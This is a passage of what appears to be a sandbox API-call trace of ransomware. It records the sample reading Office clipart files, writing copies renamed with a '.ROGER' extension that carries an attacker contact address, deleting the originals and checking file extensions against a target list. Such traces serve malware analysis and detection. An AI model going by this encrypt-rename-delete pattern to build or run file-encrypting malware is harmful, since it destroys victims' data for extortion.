dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0058.288] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=7968) returned 1 [0058.288] CloseHandle (hObject=0x3fc) returned 1 [0058.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf")) returned 0x20 [0058.296] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0058.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0058.296] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0058.296] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0058.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0058.322] GetLastError () returned 0x0 [0058.322] ReadFile (in: hFile=0x3fc, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x1f20, lpOverlapped=0x0) returned 1 [0058.346] WriteFile (in: hFile=0x3f4, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x1f30, lpOverlapped=0x0) returned 1 [0058.347] ReadFile (in: hFile=0x3fc, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0058.347] WriteFile (in: hFile=0x3f4, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xec, lpOverlapped=0x0) returned 1 [0058.347] SetEndOfFile (hFile=0x3f4) returned 1 [0058.347] CloseHandle (hObject=0x3f4) returned 1 [0058.347] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0058.347] SetEndOfFile (hFile=0x3fc) returned 1 [0058.348] CloseHandle (hObject=0x3fc) returned 1 [0058.348] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0058.349] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf")) returned 1 [0058.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0058.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0058.354] lstrlenW (lpString=".doc") returned 4 [0058.354] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.354] lstrlenW (lpString=".docx") returned 5 [0058.354] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.354] lstrlenW (lpString=".pdf") returned 4 [0058.354] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.354] lstrlenW (lpString=".xls") returned 4 [0058.354] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.354] lstrlenW (lpString=".xlsx") returned 5 [0058.354] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.354] lstrlenW (lpString=".ppt") returned 4 [0058.354] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0058.354] lstrlenW (lpString=".zip") returned 4 [0058.354] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.354] lstrlenW (lpString=".rar") returned 4 [0058.354] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.354] lstrlenW (lpString=".bz2") returned 4 [0058.354] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.354] lstrlenW (lpString=".7z") returned 3 [0058.354] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0058.354] lstrlenW (lpString=".dbf") returned 4 [0058.354] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0058.354] lstrlenW (lpString=".1cd") returned 4 [0058.354] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0058.354] lstrlenW (lpString=".jpg") returned 4 [0058.354] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0058.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0058.355] lstrlenW (lpString=".doc") returned 4 [0058.355] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.355] lstrlenW (lpString=".docx") returned 5 [0058.355] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.355] lstrlenW (lpString=".pdf") returned 4 [0058.355] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.355] lstrlenW (lpString=".xls") returned 4 [0058.355] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.355] lstrlenW (lpString=".xlsx") returned 5 [0058.355] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.355] lstrlenW (lpString=".ppt") returned 4 [0058.355] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0058.355] lstrlenW (lpString=".zip") returned 4 [0058.355] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.355] lstrlenW (lpString=".rar") returned 4 [0058.355] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.355] lstrlenW (lpString=".bz2") returned 4 [0058.355] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.355] lstrlenW (lpString=".7z") returned 3 [0058.355] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0058.355] lstrlenW (lpString=".dbf") returned 4 [0058.355] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0058.355] lstrlenW (lpString=".1cd") returned 4 [0058.355] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0058.355] lstrlenW (lpString=".jpg") returned 4 [0058.355] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.356] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0058.356] lstrlenW (lpString="AN02559_.WMF") returned 12 [0058.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0058.356] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=6632) returned 1 [0058.356] CloseHandle (hObject=0x3fc) returned 1 [0058.356] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf")) returned 0x20 [0058.356] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0058.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0058.356] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0058.356] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0058.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0058.357] GetLastError () returned 0x0 [0058.357] ReadFile (in: hFile=0x3fc, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x19e8, lpOverlapped=0x0) returned 1 [0058.385] WriteFile (in: hFile=0x3f4, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x19f0, lpOverlapped=0x0) returned 1 [0058.386] ReadFile (in: hFile=0x3fc, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0058.386] WriteFile (in: hFile=0x3f4, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xec, lpOverlapped=0x0) returned 1 [0058.386] SetEndOfFile (hFile=0x3f4) returned 1 [0058.386] CloseHandle (hObject=0x3f4) returned 1 [0058.386] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0058.386] SetEndOfFile (hFile=0x3fc) returned 1 [0058.387] CloseHandle (hObject=0x3fc) returned 1 [0058.387] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0058.387] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf")) returned 1 [0058.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0058.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0058.387] lstrlenW (lpString=".doc") returned 4 [0058.387] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.387] lstrlenW (lpString=".docx") returned 5 [0058.388] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.388] lstrlenW (lpString=".pdf") returned 4 [0058.388] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.388] lstrlenW (lpString=".xls") returned 4 [0058.388] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.388] lstrlenW (lpString=".xlsx") returned 5 [0058.388] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.388] lstrlenW (lpString=".ppt") returned 4 [0058.388] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0058.388] lstrlenW (lpString=".zip") returned 4 [0058.388] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.388] lstrlenW (lpString=".rar") returned 4 [0058.388] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.388] lstrlenW (lpString=".bz2") returned 4 [0058.388] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.388] lstrlenW (lpString=".7z") returned 3 [0058.388] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0058.388] lstrlenW (lpString=".dbf") returned 4 [0058.388] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0058.388] lstrlenW (lpString=".1cd") returned 4 [0058.388] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0058.388] lstrlenW (lpString=".jpg") returned 4 [0058.388] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0058.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0058.388] lstrlenW (lpString=".doc") returned 4 [0058.388] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.388] lstrlenW (lpString=".docx") returned 5 [0058.388] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.388] lstrlenW (lpString=".pdf") returned 4 [0058.389] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.389] lstrlenW (lpString=".xls") returned 4 [0058.389] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.389] lstrlenW (lpString=".xlsx") returned 5 [0058.389] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.389] lstrlenW (lpString=".ppt") returned 4 [0058.389] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0058.389] lstrlenW (lpString=".zip") returned 4 [0058.389] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.389] lstrlenW (lpString=".rar") returned 4 [0058.389] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.389] lstrlenW (lpString=".bz2") returned 4 [0058.389] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.389] lstrlenW (lpString=".7z") returned 3 [0058.389] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0058.389] lstrlenW (lpString=".dbf") returned 4 [0058.389] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0058.389] lstrlenW (lpString=".1cd") returned 4 [0058.389] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0058.389] lstrlenW (lpString=".jpg") returned 4 [0058.389] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.389] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0058.389] lstrlenW (lpString="AN03500_.WMF") returned 12 [0058.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0058.390] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=9240) returned 1 [0058.390] CloseHandle (hObject=0x3fc) returned 1 [0058.390] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf")) returned 0x20 [0058.390] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0058.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0058.390] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0058.390] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0058.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0058.390] GetLastError () returned 0x0 [0058.390] ReadFile (in: hFile=0x3fc, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x2418, lpOverlapped=0x0) returned 1 [0058.426] WriteFile (in: hFile=0x3f4, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x2420, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x2420, lpOverlapped=0x0) returned 1 [0058.427] ReadFile (in: hFile=0x3fc, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0058.427] WriteFile (in: hFile=0x3f4, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xec, lpOverlapped=0x0) returned 1 [0058.427] SetEndOfFile (hFile=0x3f4) returned 1 [0058.428] CloseHandle (hObject=0x3f4) returned 1 [0058.428] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0058.428] SetEndOfFile (hFile=0x3fc) returned 1 [0058.428] CloseHandle (hObject=0x3fc) returned 1 [0058.429] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0058.429] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf")) returned 1 [0058.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0058.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0058.429] lstrlenW (lpString=".doc") returned 4 [0058.429] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.429] lstrlenW (lpString=".docx") returned 5 [0058.429] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.429] lstrlenW (lpString=".pdf") returned 4 [0058.429] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.429] lstrlenW (lpString=".xls") returned 4 [0058.429] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.429] lstrlenW (lpString=".xlsx") returned 5 [0058.429] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.429] lstrlenW (lpString=".ppt") returned 4 [0058.429] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0058.429] lstrlenW (lpString=".zip") returned 4 [0058.429] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.429] lstrlenW (lpString=".rar") returned 4 [0058.429] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.429] lstrlenW (lpString=".bz2") returned 4 [0058.429] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.430] lstrlenW (lpString=".7z") returned 3 [0058.430] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0058.430] lstrlenW (lpString=".dbf") returned 4 [0058.430] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0058.430] lstrlenW (lpString=".1cd") returned 4 [0058.430] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0058.430] lstrlenW (lpString=".jpg") returned 4 [0058.430] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0058.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0058.430] lstrlenW (lpString=".doc") returned 4 [0058.430] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.430] lstrlenW (lpString=".docx") returned 5 [0058.430] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.430] lstrlenW (lpString=".pdf") returned 4 [0058.430] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.430] lstrlenW (lpString=".xls") returned 4 [0058.430] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.430] lstrlenW (lpString=".xlsx") returned 5 [0058.430] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.430] lstrlenW (lpString=".ppt") returned 4 [0058.430] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0058.430] lstrlenW (lpString=".zip") returned 4 [0058.430] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.430] lstrlenW (lpString=".rar") returned 4 [0058.430] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.430] lstrlenW (lpString=".bz2") returned 4 [0058.430] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.430] lstrlenW (lpString=".7z") returned 3 [0058.430] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0058.431] lstrlenW (lpString=".dbf") returned 4 [0058.431] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0058.431] lstrlenW (lpString=".1cd") returned 4 [0058.431] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0058.431] lstrlenW (lpString=".jpg") returned 4 [0058.431] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.431] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0058.431] lstrlenW (lpString="AN04117_.WMF") returned 12 [0058.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0058.431] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=6060) returned 1 [0058.431] CloseHandle (hObject=0x3fc) returned 1 [0058.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf")) returned 0x20 [0058.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft 